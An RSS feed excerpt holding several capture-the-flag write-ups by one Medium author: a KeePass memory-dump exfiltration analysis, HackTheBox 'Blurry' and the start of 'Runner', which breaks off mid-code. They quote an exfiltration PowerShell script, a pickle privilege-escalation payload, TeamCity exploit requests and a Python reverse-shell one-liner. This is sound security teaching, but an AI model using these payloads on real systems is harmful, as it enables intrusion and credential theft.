$ClIENt.Close()<br>        }<br>    }<br>    else {<br>        Write-Host &quot;Input file not found: $inPUTfilEpath&quot;<br>    }<br>}<br>else {<br>    Write-Host &quot;KeePass is not running.&quot;<br><br>}</pre><p>This is barely obfuscated. Also we can see that the structure of the script repeats. I added comments to the code.</p><p>The first two lines contain very long randomized variable names. The first one is assigned the value “GetBytes”. Then the second one is assigned the value of the first one. So basically the first two lines are:</p><pre>$getBytesVar = &quot;GetBytes&quot;<br>$getBytesAnotherVar = ($getBytesVar)</pre><pre>$PRoCDumppATh = &#39;C:\Tools\procdump.exe&#39;<br>if (-Not (Test-Path -Path $PRoCDumppATh)) {<br>$ProcdUmpDOWNloADURL = &#39;https://download.sysinternals.com/files/Procdump.zip&#39;<br>$PrOcdUmpziPpaTH = Join-Path -Path $env:TEMP -ChildPath &#39;Procdump.zip&#39;<br>Invoke-WebRequest -Uri $ProcdUmpDOWNloADURL -OutFile $PrOcdUmpziPpaTH<br>Expand-Archive -Path $PrOcdUmpziPpaTH -DestinationPath (Split-Path -Path $PRoCDumppATh -Parent)<br>Remove-Item -Path $PrOcdUmpziPpaTH<br>}</pre><p>This code checks if procdump exists at C:\Tools\procdump.exe. If not, download it, unzip it and clean up. Procdump is part of MS Sysinternals suite and is used to dump memory during crashes. It’s reasonable to assume that this is our attacker dumping the memory to exfiltrate it later.</p><p>Next, the script checks for a running keepass process:</p><pre>#Check for keepass process<br>$dESKTopPATH = [systEM.EnviROnMent]::GetFolderPath(&#39;Desktop&#39;)<br>$KEEPASsPrOCesS = Get-Process -Name &#39;KeePass&#39;</pre><p>If we have this process, create a dumpfilepath on desktop, called 1337 and get the absolute path of it:</p><pre>if ($KEEPASsPrOCesS) {<br>#dumpfilepath set to desktop/1337<br>$dUmPFilEpath = Join-Path -Path $dESKTopPATH -ChildPath &#39;1337&#39;<br>#get the absolute path of dumpfilepath<br>$dUmPFilEpath = [SySteM.io.PaTh]::GetFullPath($dUmPFilEpath)</pre><p>Next the script sets options for the execution via ProcessStartInfo and starts procdump, saving the data to a file:</p><pre>$ProcStArtiNFO = New-Object System.Diagnostics.ProcessStartInfo<br>#set the binary to procdump.exe<br>$ProcStArtiNFO.FileName = $PRoCDumppATh<br>#accept eula and tell procdump to dump the keepass process to the /desktop/1337 path, <br>$ProcStArtiNFO.Arguments = &quot;-accepteula -ma $($KEEPASsPrOCesS.Id) `&quot;$dUmPFilEpath`&quot;&quot;<br>#redirect standardOutput and Error to capture those<br>$ProcStArtiNFO.RedirectStandardOutput = $tRuE<br>$ProcStArtiNFO.RedirectStandardError = $tRuE<br>$ProcStArtiNFO.UseShellExecute = $False<br>#Start procdump<br>$pROC = New-Object System.Diagnostics.Process<br>$pROC.StartInfo = $ProcStArtiNFO<br>$pROC.Start()</pre><p>After starting procdump, the script waits for procdump to finish (indicated by the string ‘Dump count reached’:</p><pre>while (!$pROC.HasExited) {<br>  $pROC.WaitForExit(1000)<br>  $STdOUTPUT = $pROC.StandardOutput.ReadToEnd()<br>  if ($STdOUTPUT -match &quot;Dump count reached&quot;) {<br>    break<br>  }<br>}</pre><p>The script defines a 1337.dmp file on the desktop and checks if it exists, If it does, it creates a XOR key which is used later and defines a outputfilepath.</p><pre>#set inputFileName var to 1337.dmp<br>$inPutFiLEName = &#39;1337.dmp&#39;<br>#combine desktop path and the new 1337.dmp path, like this: C:\Users\User\Desktop\1337.dmp<br>$inPUTfilEpath = Join-Path -Path $dESKTopPATH -ChildPath $inPutFiLEName<br>#check if 1337.dmp exists<br>if (Test-Path -Path $inPUTfilEpath) {<br>#a key to be used later<br>$xoRKEy = 0x41<br>#outputfilename, also placed on the desktop<br>$oUTPutfiLeNAMe = &#39;539.dmp&#39;<br>$ouTputFILEPath = Join-Path -Path $dESKTopPATH -ChildPath $oUTPutfiLeNAMe</pre><p>Next, the data is encoded with the XOR key:</p><pre>#XOR on each Byte with the XORKey<br>$duMpBYtES = [sySTEm.io.fIlE]::ReadAllBytes($inPUTfilEpath)<br>for ($i = 0; $i -lt $duMpBYtES.Length; $i++) {<br>  $duMpBYtES[$i] = $duMpBYtES[$i] -bxor $xoRKEy<br>}</pre><p>Encode the data again, using base64 this time:</p><pre>#Next b64 encode this XOR&#39;ed Bytes:<br>$bASE64enCoDeD = [SYstem.cOnveRT]::ToBase64String($duMpBYtES)<br>#save this to 539.dmp on desktop<br>$fILEstrEAm = [sySTEm.io.fIlE]::Create($ouTputFILEPath)<br>$BYtesTowRite = [sysTEm.Text.eNcOdINg]::UTF8.$getBytesAnotherVar($bASE64enCoDeD)<br>$fILEstrEAm.Write($BYtesTowRite, 0, $BYtesTowRite.Length)<br>$fILEstrEAm.Close()</pre><p>In the next part we can find the attacker IP and the used port, so we know that the attackers ip is 10.10.94.106:</p><pre>#serverIP in hex, remove leading 0x indicating hex and split into 4<br>#We need to add a leading 0 to pad this to a regular hex number<br>#0a.0a.5e.6a = 10.10.94.106<br>$sERveRIP = &quot;0xa0a5e6a&quot;<br>$SeRvERpORT = 1337</pre><p>Finally, exfiltrate the data in 1024 byte chunks:</p><pre>$fIlEpaTH = $ouTputFILEPath<br><br>try {<br>  $ClIENt = New-Object System.Net.Sockets.TcpClient<br>  $ClIENt.Connect($sERveRIP, $SeRvERpORT)<br>  $fILEstrEAm = [sySTEm.io.fIlE]::OpenRead($fIlEpaTH)<br>  $nETwoRKStReAM = $ClIENt.GetStream()<br>  $BuFFEr = New-Object byte[] 1024<br>}</pre><p>Now we find several lines of comments, seemingly encoded. In hindsight, I am 99% sure that these lines are just here to slow down analysts, which, to be honest, worked on me. I tried b32,64 etc, different ciphers, XOR with several keys and a vast number of combinations of those. I couldn’t get anything useful out of those comments. It might be that I overlooked something, so if you were able to make sense of them please leave a comment.</p><p>I will skip the detailed analysis of the second part since this is just the same procedure, this time exfiltrating the keepassdb. For this the attacker used port 1338 and the XOR key 0x42 tho.</p><p>Now that we know what happened, let’s reconstruct the exfiltrated files.</p><h3>Reconstructing data</h3><p>The process the attacker used was this:<br>1. XOR each byte with the keys 0x41 (memorydump) and 0x42 (db)</p><p>2. Base64 encode the result of step 1</p><p>3. Split it into 1024 byte chunks to send.</p><p>So we need to reverse those steps. First we need to extract the data without any additional information that is included in the .pcapng file, then we combine those 1024 byte chunks, base64 decode them and use XOR with the keys to receive the data for further analysis.</p><p>Usually I’d use follow -&gt; tcpstream again, but this process was incredibly slow in the in the GUI. Using tshark (the commandline version of wireshark) worked good tho.</p><pre>tshark -r traffic.pcapng  -T fields -e data -Y &quot;ip.dst == 10.10.94.106&quot; &gt; extracted_payload.txt</pre><p>This will write all data sent from the workbox to the attacker into a .txt file. This could be specified some more to only include port 1337 but this worked for me.</p><p>For the next steps I created a script, executing all needed steps and writing a output file for earch step in case I did something wrong, so I could check each step seperatly.</p><pre>from pwn import *<br># stray0x1<br># convert the hex if the extracted data to binary<br>def decodeHex(input_file, output_file):<br>    with open(input_file, &#39;r&#39;) as infile, open(output_file, &#39;wb&#39;) as outfile:<br>        for line in infile:<br>            if line.strip():  # Ensure it&#39;s not an empty line<br>                outfile.write(bytes.fromhex(line.strip()))<br>    log.success(&quot;Hex to binary conversion complete.&quot;)<br><br>#b64 decode<br>def decodeb64(input_file, output_file):<br>    with open(input_file, &#39;rb&#39;) as infile:<br>        b64_data = infile.read()<br><br>    decoded_data = base64.b64decode(b64_data)<br>    <br>    with open(output_file, &#39;wb&#39;) as outfile:<br>        outfile.write(decoded_data)<br>    <br>    log.success(&quot;Base64 decoding complete.&quot;)<br><br># XOR the stuff<br>def decodeXOR(input_file, output_file, xor_key):<br>    with open(input_file, &#39;rb&#39;) as infile, open(output_file, &#39;wb&#39;) as outfile:<br>        data = infile.read()<br>        reconstructed_data = bytearray([b ^ xor_key for b in data])<br>        outfile.write(reconstructed_data)<br>    <br>    log.success(f&quot;XOR decoding with key 0x{xor_key:x} complete.&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br><br>    # Filenames, change if you want to use other names<br>    hex_input_file = &#39;extracted_payload.txt&#39;<br>    bin_output_file = &#39;output_dump.bin&#39;<br>    b64_output_file = &#39;decoded_dump.bin&#39;<br>    final_output_file = &#39;reconstructed_dump.bin&#39;<br><br>    #key, 0x41 for the memory dump and 0x42 for the db<br>    # change this accordingly<br>    key = 0x41<br><br>    # Hex to bin<br>    decodeHex(hex_input_file, bin_output_file)<br><br>    # b64 decode<br>    decodeb64(bin_output_file, b64_output_file)<br><br>    # XOR <br>    decodeXOR(b64_output_file, final_output_file, key)<br><br>    log.success(&quot;reconstructed.&quot;)</pre><p>Run this script and we get the memory dump. We can verify that no data is corrupted with the file command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jVBRXlsGJjg_YKwlpt-tkg.png" /></figure><p>Let’s do this for the extracted database too before proceeding. I created another directory for this, and changed the key to 0x42. To only grab the content of the database, we can use this tshark command to get it from the .pcapng file:</p><pre>tshark -r ../traffic.pcapng  -T fields -e data -Y &quot;ip.dst == 10.10.94.106 and tcp.port == 1338&quot; &gt; extracted_payload.txt</pre><p>Now run this script again. Running the file command again verifies that we didn’t corrupt any data:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*M72tjnLJEW_oLmk7g3G2zQ.png" /></figure><h3>Extracting the master password</h3><p>We know that this is Keepass 2.x. Checking for queries like ‘Keepass extract master password memory dump’ in google leads to this github repo:</p><p><a href="https://github.com/vdohney/keepass-password-dumper">GitHub - vdohney/keepass-password-dumper: Original PoC for CVE-2023-32784</a></p><p>The setup is simple:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*ZIu3eLE0z2eRUlN0KLn1fQ.png" /></figure><p>Make sure to install .NET version 7. Then cd into the directory and run dotnet run &lt;path/to/dump&gt;. The output will look like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*IFZDvoIl6hXd6KjeLN5R4A.png" /></figure><p>To understand this output, read this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*o4bJNlrD6oUajo_Z1oPRFQ.png" /></figure><p>So the first character can not be known, indicated by the circle in the last row. For the second char, we’re given a selection of candidates. It’s pretty obvious which one it is. This Password excluding the unknown first char is the flag for question number 1.</p><h3>The first char</h3><p>There are only so many possibilities here, but I’m lazy so I’ll have hashcat do the work. For this, we need something to crack against. We can use keepass2john to receive a crackable hash:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*HI3izP0ZC5Tla8Rcu-hNpw.png" /></figure><p>Using hashcat, we can execute a bruteforce attack (-a 3):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*dtEdtr7rzV13UCIJbuip0Q.png" /><figcaption>man hashcat</figcaption></figure><p>Let’s use ?a as our charset, this contains lowercase and uppercase letters, digits and special chars.</p><p>But we run into an error:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RAKH9RGZtFJtHmw3AOdq3Q.png" /></figure><p>Let’s check the hash:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yly74KHHysPajEn2lx7vUA.png" /></figure><p>Let’s compare this to an example from hashcat:</p><p><a href="https://hashcat.net/wiki/doku.php?id=example_hashes">example_hashes [hashcat wiki]</a></p><p>Searching for 13400 gives us this example:</p><pre>$keepass$*1*50000*0*375756b9e6c72891a8e5645a3338b8c8*82afc053e8e1a6cfa39adae4f5fe5e59f545a54d6956593d1709b39cacd7f796*c698fbfc7d1b71431d10611e2216ab21*24a63140f4eb3bfd7d59b7694eea38d1d93a43bc3af989755d2b326286c4d510*1*192*1a65072f436e9da0c9e832eca225a04ab78821b55d9f550860ade2ef8126a2c4050cf4d033374abd3dac6d0c5907c6cbb033643b203825c12e6c9853b5ac17a4809559fe723e01b4a2ab87cc83c8ba7ee4a757b8a0cf1674106f21f6675cba12064443d65436650df10ea0923c4cadfd4bfe341a6f4fa23a1a67f7d12a489fc5410ef6db9f6607905de491d3b3b915852a1b6c231c96366cbdee5ea9bd7f73ffd2f7a579215528ae1bf0ea540947ebfe39ca84bc6cbeded4f8e8fb6ed8f32dd5</pre><p>As you can see, we have the filename in the hash. Remove this and run hashcat again:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/380/1*9fZ0gtQsjCyYbuAEtMIFtg.png" /></figure><p>After some seconds, we get the final password. Now we can use this to open the reconstructed database, this is where we can find the second flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IZUEfiCyrHmdpZ_kZGtxrw.png" /></figure><h3>Conclusion</h3><p>Really fun box. Next time I won’t waste so much time on traps like the comments.</p><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2df37238685a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blurry (hackthebox) writeup]]></title>
            <link>https://medium.com/@stray0x1/blurry-hackthebox-writeup-8417f43f1706?source=rss-a1fe203a0af2------2</link>
            <guid isPermaLink="false">https://medium.com/p/8417f43f1706</guid>
            <category><![CDATA[hackthebox-blurry]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <dc:creator><![CDATA[stray0x1]]></dc:creator>
            <pubDate>Wed, 16 Oct 2024 16:12:35 GMT</pubDate>
            <atom:updated>2024-10-16T16:12:35.068Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hOpK-RbNw3cRxJj5IJGOkA.png" /><figcaption><a href="https://www.hackthebox.com/machines/Blurry">https://www.hackthebox.com/machines/Blurry</a></figcaption></figure><p>Running nmap:</p><pre>sudo nmap -sC -sV 10.129.164.196 -oN nmap -v</pre><p>We find 2 open ports, one of which is http on port 80. Opening this redirects us to app.blurry.htb so add this to /etc/hosts.</p><p>Since we’ve already found the domain, let’s check for subdomains:</p><pre>sudo ffuf -u http://blurry.htb/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H &quot;HOST: FUZZ.blurry.htb&quot; -fs 169<br><br>app                     [Status: 200, Size: 13327, Words: 382, Lines: 29, Duration: 308ms]<br>files                   [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 1999ms]<br>chat                    [Status: 200, Size: 218733, Words: 12692, Lines: 449, Duration: 1179ms]</pre><p>Add those subdomains to /etc/hosts. After this, let’s start off with chat.blurry.htb</p><h3>chat.blurry.htb</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*q7hiULbDFCCNPMnXdWu7Bw.png" /></figure><p>We can simply create an account and get access to the General chat:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6qGvwfeX7I52CXvA1fjm-Q.png" /></figure><p>Checking the ‘directory’ in the top left of the page, we can find another channel called ‘Announcements’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*xro0KQi3VYnPCpwHdjas1Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*feJck2h6foLFAkVqicYT3A.png" /></figure><p>We should keep in mind that tagging a task within the ‘Black Swan’ project will prompt an interaction with a periodically ran task.</p><p>app.blurry.htb</p><p>Looking around the existing project and experiments shows us the installed version:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*S6GWAc3IbCHVhRm28gInTg.png" /></figure><p>Searching for a CVe for this version leads to this link:<br><a href="https://security.snyk.io/vuln/SNYK-PYTHON-CLEARML-6230390">https://security.snyk.io/vuln/SNYK-PYTHON-CLEARML-6230390</a></p><p>In references, we can find the original report:<br><a href="https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/#Full-Attack-Chain-Scenario">https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/#Full-Attack-Chain-Scenario</a></p><p>Checking for some POCs we can find this:</p><p><a href="https://github.com/OxyDeV2/ClearML-CVE-2024-24590">GitHub - OxyDeV2/ClearML-CVE-2024-24590: Proof of concept for CVE-2024-24590</a></p><p>Let’s create a venv, install the dependencies and run the exploit. Don’t forget we need to tag it as review</p><pre>python3 -m venv venv<br>source venv/bin/activate<br>pip install clearml<br><br>#run clearml-init and follow the instructions<br>#dont forget to add every subdomain in the instructions to /etc/hosts<br>#setup a listener in another terminal<br>sudo nc -lvnp 9001<br>#then run the exploit from the repo<br>python exploit.py --project_name &quot;Black Swan&quot; --task_name &quot;revshell&quot; --tags &#39;review&#39; --artifact_name &quot;revshell.pkl&quot; --ip &quot;10.10.14.64&quot; --port &quot;9001&quot;</pre><p>This gives us a shell as jippity:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*xUT9ydyOVKxw8FGCNOUb2Q.png" /></figure><h3>Root</h3><p>First thing, checking sudo -l shows this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*I0OpjwuIY5spvgmii2kT9Q.png" /></figure><p>Checking evaluate_model:</p><pre>jippity@blurry:~$ cat /usr/bin/evaluate_model<br>#!/bin/bash<br># Evaluate a given model against our proprietary dataset.<br># Security checks against model file included.<br><br>if [ &quot;$#&quot; -ne 1 ]; then<br>    /usr/bin/echo &quot;Usage: $0 &lt;path_to_model.pth&gt;&quot;<br>    exit 1<br>fi<br><br>MODEL_FILE=&quot;$1&quot;<br>TEMP_DIR=&quot;/opt/temp&quot;<br>PYTHON_SCRIPT=&quot;/models/evaluate_model.py&quot;  <br><br>/usr/bin/mkdir -p &quot;$TEMP_DIR&quot;<br><br>file_type=$(/usr/bin/file --brief &quot;$MODEL_FILE&quot;)<br><br># Extract based on file type<br>if [[ &quot;$file_type&quot; == *&quot;POSIX tar archive&quot;* ]]; then<br>    # POSIX tar archive (older PyTorch format)<br>    /usr/bin/tar -xf &quot;$MODEL_FILE&quot; -C &quot;$TEMP_DIR&quot;<br>elif [[ &quot;$file_type&quot; == *&quot;Zip archive data&quot;* ]]; then<br>    # Zip archive (newer PyTorch format)<br>    /usr/bin/unzip -q &quot;$MODEL_FILE&quot; -d &quot;$TEMP_DIR&quot;<br>else<br>    /usr/bin/echo &quot;[!] Unknown or unsupported file format for $MODEL_FILE&quot;<br>    exit 2<br>fi<br><br>/usr/bin/find &quot;$TEMP_DIR&quot; -type f \( -name &quot;*.pkl&quot; -o -name &quot;pickle&quot; \) -print0 | while IFS= read -r -d $&#39;\0&#39; extracted_pkl; do<br>    fickling_output=$(/usr/local/bin/fickling -s --json-output /dev/fd/1 &quot;$extracted_pkl&quot;)<br><br>    if /usr/bin/echo &quot;$fickling_output&quot; | /usr/bin/jq -e &#39;select(.severity == &quot;OVERTLY_MALICIOUS&quot;)&#39; &gt;/dev/null; then<br>        /usr/bin/echo &quot;[!] Model $MODEL_FILE contains OVERTLY_MALICIOUS components and will be deleted.&quot;<br>        /bin/rm &quot;$MODEL_FILE&quot;<br>        break<br>    fi<br>done<br><br>/usr/bin/find &quot;$TEMP_DIR&quot; -type f -exec /bin/rm {} +<br>/bin/rm -rf &quot;$TEMP_DIR&quot;<br><br>if [ -f &quot;$MODEL_FILE&quot; ]; then<br>    /usr/bin/echo &quot;[+] Model $MODEL_FILE is considered safe. Processing...&quot;<br>    /usr/bin/python3 &quot;$PYTHON_SCRIPT&quot; &quot;$MODEL_FILE&quot;<br>fi</pre><p>So this file does the following:<br>Take a temp dir and grab evaluate_model.py.<br>Then it checks if the provided file is .zip or .tar. Depending on this it unpacks the file with the appropriate binary and discards all other filetypes.<br>Then it runs ‘fickling’ on the unpacked file to check for malicious code:<br><a href="https://github.com/trailofbits/fickling?tab=readme-ov-file#generic-malicious-file-detection">https://github.com/trailofbits/fickling?tab=readme-ov-file#generic-malicious-file-detection</a></p><p>If fickling does detect something, abort and delete the file. Else execute /evaluate_model.py with the provided file as the argument.</p><h4>/models/evaluate_model.py</h4><pre>import torch<br>import torch.nn as nn<br>from torchvision import transforms<br>from torchvision.datasets import CIFAR10<br>from torch.utils.data import DataLoader, Subset<br>import numpy as np<br>import sys<br><br><br>class CustomCNN(nn.Module):<br>    def __init__(self):<br>        super(CustomCNN, self).__init__()<br>        self.conv1 = nn.Conv2d(in_channels=3, out_channels=16, kernel_size=3, padding=1)<br>        self.conv2 = nn.Conv2d(in_channels=16, out_channels=32, kernel_size=3, padding=1)<br>        self.pool = nn.MaxPool2d(kernel_size=2, stride=2, padding=0)<br>        self.fc1 = nn.Linear(in_features=32 * 8 * 8, out_features=128)<br>        self.fc2 = nn.Linear(in_features=128, out_features=10)<br>        self.relu = nn.ReLU()<br><br>    def forward(self, x):<br>        x = self.pool(self.relu(self.conv1(x)))<br>        x = self.pool(self.relu(self.conv2(x)))<br>        x = x.view(-1, 32 * 8 * 8)<br>        x = self.relu(self.fc1(x))<br>        x = self.fc2(x)<br>        return x<br><br><br>def load_model(model_path):<br>    model = CustomCNN()<br>    <br>    state_dict = torch.load(model_path)<br>    model.load_state_dict(state_dict)<br>    <br>    model.eval()  <br>    return model<br><br>def prepare_dataloader(batch_size=32):<br>    transform = transforms.Compose([<br>        transforms.RandomHorizontalFlip(),<br>        transforms.RandomCrop(32, padding=4),<br>        transforms.ToTensor(),<br>        transforms.Normalize(mean=[0.4914, 0.4822, 0.4465], std=[0.2023, 0.1994, 0.2010]),<br>    ])<br>    <br>    dataset = CIFAR10(root=&#39;/root/datasets/&#39;, train=False, download=False, transform=transform)<br>    subset = Subset(dataset, indices=np.random.choice(len(dataset), 64, replace=False))<br>    dataloader = DataLoader(subset, batch_size=batch_size, shuffle=False)<br>    return dataloader<br><br>def evaluate_model(model, dataloader):<br>    correct = 0<br>    total = 0<br>    with torch.no_grad():  <br>        for images, labels in dataloader:<br>            outputs = model(images)<br>            _, predicted = torch.max(outputs.data, 1)<br>            total += labels.size(0)<br>            correct += (predicted == labels).sum().item()<br>    <br>    accuracy = 100 * correct / total<br>    print(f&#39;[+] Accuracy of the model on the test dataset: {accuracy:.2f}%&#39;)<br><br>def main(model_path):<br>    model = load_model(model_path)<br>    print(&quot;[+] Loaded Model.&quot;)<br>    dataloader = prepare_dataloader()<br>    print(&quot;[+] Dataloader ready. Evaluating model...&quot;)<br>    evaluate_model(model, dataloader)<br><br>if __name__ == &quot;__main__&quot;:<br>    if len(sys.argv) &lt; 2:<br>        print(&quot;Usage: python script.py &lt;path_to_model.pth&gt;&quot;)<br>    else:<br>        model_path = sys.argv[1]  # Path to the .pth file<br>        main(model_path)</pre><p>So we can use torch to create a malicious payload, which will be a .zip:</p><pre>import os<br>import torch<br><br>class Payload:<br>    def __reduce__(self):<br>        return (os.system, (&#39;chmod u+s /bin/bash&#39;,))<br><br>attack = Payload()<br>torch.save(attack, &#39;attack.pth&#39;)</pre><p>Run pip install torch and run the script.</p><p>Uploading the file and executing it with this command:</p><p>sudo /usr/bin/evaluate_model /models/../tmp/attack.pth</p><p>Shows that the suid bit is set:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*PzYXp7u8SdU_JHlYdGVPLA.png" /></figure><p>Now run /bin/bash -p (-p to preserver the privileges) and we’re root.</p><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8417f43f1706" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Runner (hackthebox) writeup]]></title>
            <link>https://medium.com/@stray0x1/runner-hackthebox-writeup-114f090bbf7a?source=rss-a1fe203a0af2------2</link>
            <guid isPermaLink="false">https://medium.com/p/114f090bbf7a</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <dc:creator><![CDATA[stray0x1]]></dc:creator>
            <pubDate>Tue, 08 Oct 2024 18:54:03 GMT</pubDate>
            <atom:updated>2024-10-08T18:54:03.720Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/341/1*W0_6wzgni0ypmsKqRti9qA.png" /></figure><pre>sudo nmap -sC -sV 10.129.230.247 -oN nmap -v<br><br>PORT     STATE SERVICE     VERSION<br>22/tcp   open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)<br>|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)<br>80/tcp   open  http        nginx 1.18.0 (Ubuntu)<br>|_http-server-header: nginx/1.18.0 (Ubuntu)<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-title: Did not follow redirect to http://runner.htb/<br>8000/tcp open  nagios-nsca Nagios NSCA<br>|_http-title: Site doesn&#39;t have a title (text/plain; charset=utf-8).<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  </pre><h3>TCP 80</h3><p>This redirects us to runner.htb, so add this to /etc/hosts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VhAnpWul_5yRsPYzmXRtdw.png" /></figure><p>Not much to find on this page, besides an email:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/1*VrKUrvOg2cDnr0IKqb49AA.png" /></figure><p>Let’s check for subdomains, we filter size 154 to get rid of false positives:</p><pre>sudo ffuf -w /usr/share/seclists/Discovery/DNS/bug-bounty-program-subdomains-trickest-inventory.txt -H &quot;Host: FUZZ.runner.htb&quot; -u http://runner.htb -fs 154</pre><p>This finds teamcity. I’ve done a box where teamcity was a vulnerability just a few days ago (brains on tryhackme) so let’s check this out. First we need to add this to /etc/hosts tho.</p><h3>teamcity.runner.htb</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/1*QTWSm0I-m99dTUCk9-swkw.png" /></figure><p>Checking my notes, this version is even older than the one in brains. So let’s check the CVE we have used there again:<br><a href="https://github.com/W01fh4cker/CVE-2024-27198-RCE">https://github.com/W01fh4cker/CVE-2024-27198-RCE</a></p><p>Create a virtual environment and install the dependencies:</p><pre>python3 -m venv venv<br>venv/bin/pip install urllib3 faker requests<br>source venv/bin/activate</pre><p>When executing the exploit we run into an error tho:<br>Details: jetbrains.buildServer.server.rest.errors.BadRequestException: This server is not configured to allow process debug launch via “rest.debug.processes.enable” internal property. So this time it’s not simply fire and forget, let’s do some research. Looking for any other CVEs for this exact version, shows one from 2023.</p><p>CVE-2023–42793<br><a href="https://www.prio-n.com/blog/cve-2023-42793-attacking-defending-JetBrains-TeamCity">https://www.prio-n.com/blog/cve-2023-42793-attacking-defending-JetBrains-TeamCity</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*6Vi_WtaFLq3G6k6CgCT4aQ.png" /></figure><p>So we can use this request to activate debug? We could either simply use this to gain code execution of we could chain this request with our previously found RCE to create a malicious user and upload a shell. Let’s chain it:</p><pre>curl -X POST &quot;http://teamcity.runner.htb/app/rest/users/id:1/tokens/RPC2&quot;</pre><p>This gives us a token for the next request:</p><pre>curl -XPOST &quot;http://teamcity.runner.htb//admin/dataDir.html?action=edit&amp;fileName=config/internal.properties&amp;content=rest.debug.processes.enable=true&quot; -H &quot;Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.M285T0NYRlM3MTJ0MTI4WUltdi1IU3FqQU5Z.MTY3ZDBiMTAtZDRlNS00YzMxLTgzZWQtYjRlZWFiZTBkYTli&quot; -H &quot;Content-Type: text/plain&quot;</pre><p>Now when executing our previous exploit, we get code execution:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cjjl8jqVWLWz81YJNn-FJQ.png" /></figure><p>We can use this payload to get a proper shell:</p><pre>export RHOST=&quot;10.10.14.89&quot;;export RPORT=9001;python3 -c &#39;import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(&quot;RHOST&quot;),int(os.getenv(&quot;RPORT&quot;))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>Interestingly, when checking the home folders, there is none. Also, I can’t find a flag with `find`. I went to /tmp to get linpeas. There is no wget on the box, so we’ll have to use curl. Linpeas shows that we’re inside a docker container. But this is all I got here, I couldn’t find anything of use. So I went back and decided to create a user for teamcity to enumerate this some more. We can find a script to do this, but let’s read it and do it manually:</p><p><a href="https://github.com/H454NSec/CVE-2023-42793/blob/main/CVE-2023-42793.py">CVE-2023-42793/CVE-2023-42793.py at main · H454NSec/CVE-2023-42793</a></p><pre>    def create_user(self, token):<br>        uname = self.username()<br>        headers = {<br>            &quot;User-Agent&quot;: &quot;Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0&quot;,<br>            &quot;Accept&quot;: &quot;*/*&quot;,<br>            &quot;Authorization&quot;: f&quot;Bearer {token}&quot;,<br>            &quot;Content-Type&quot;: &quot;application/json&quot;,<br>            }<br>        creds = {<br>            &quot;email&quot;: &quot;&quot;,<br>            &quot;username&quot;: uname,<br>            &quot;password&quot;: &quot;@H454NSec&quot;,<br>            &quot;roles&quot;: {<br>                &quot;role&quot;: [{<br>                        &quot;roleId&quot;: &quot;SYSTEM_ADMIN&quot;,<br>                        &quot;scope&quot;: &quot;g&quot;<br>                    }]<br>            }<br>        }<br>        try:<br>            response = self.session.post(f&quot;{self.url}/app/rest/users&quot;, headers=headers, json=creds, timeout=10)<br>            if response.status_code == 200:<br>                print(f&quot;{Green}[+] 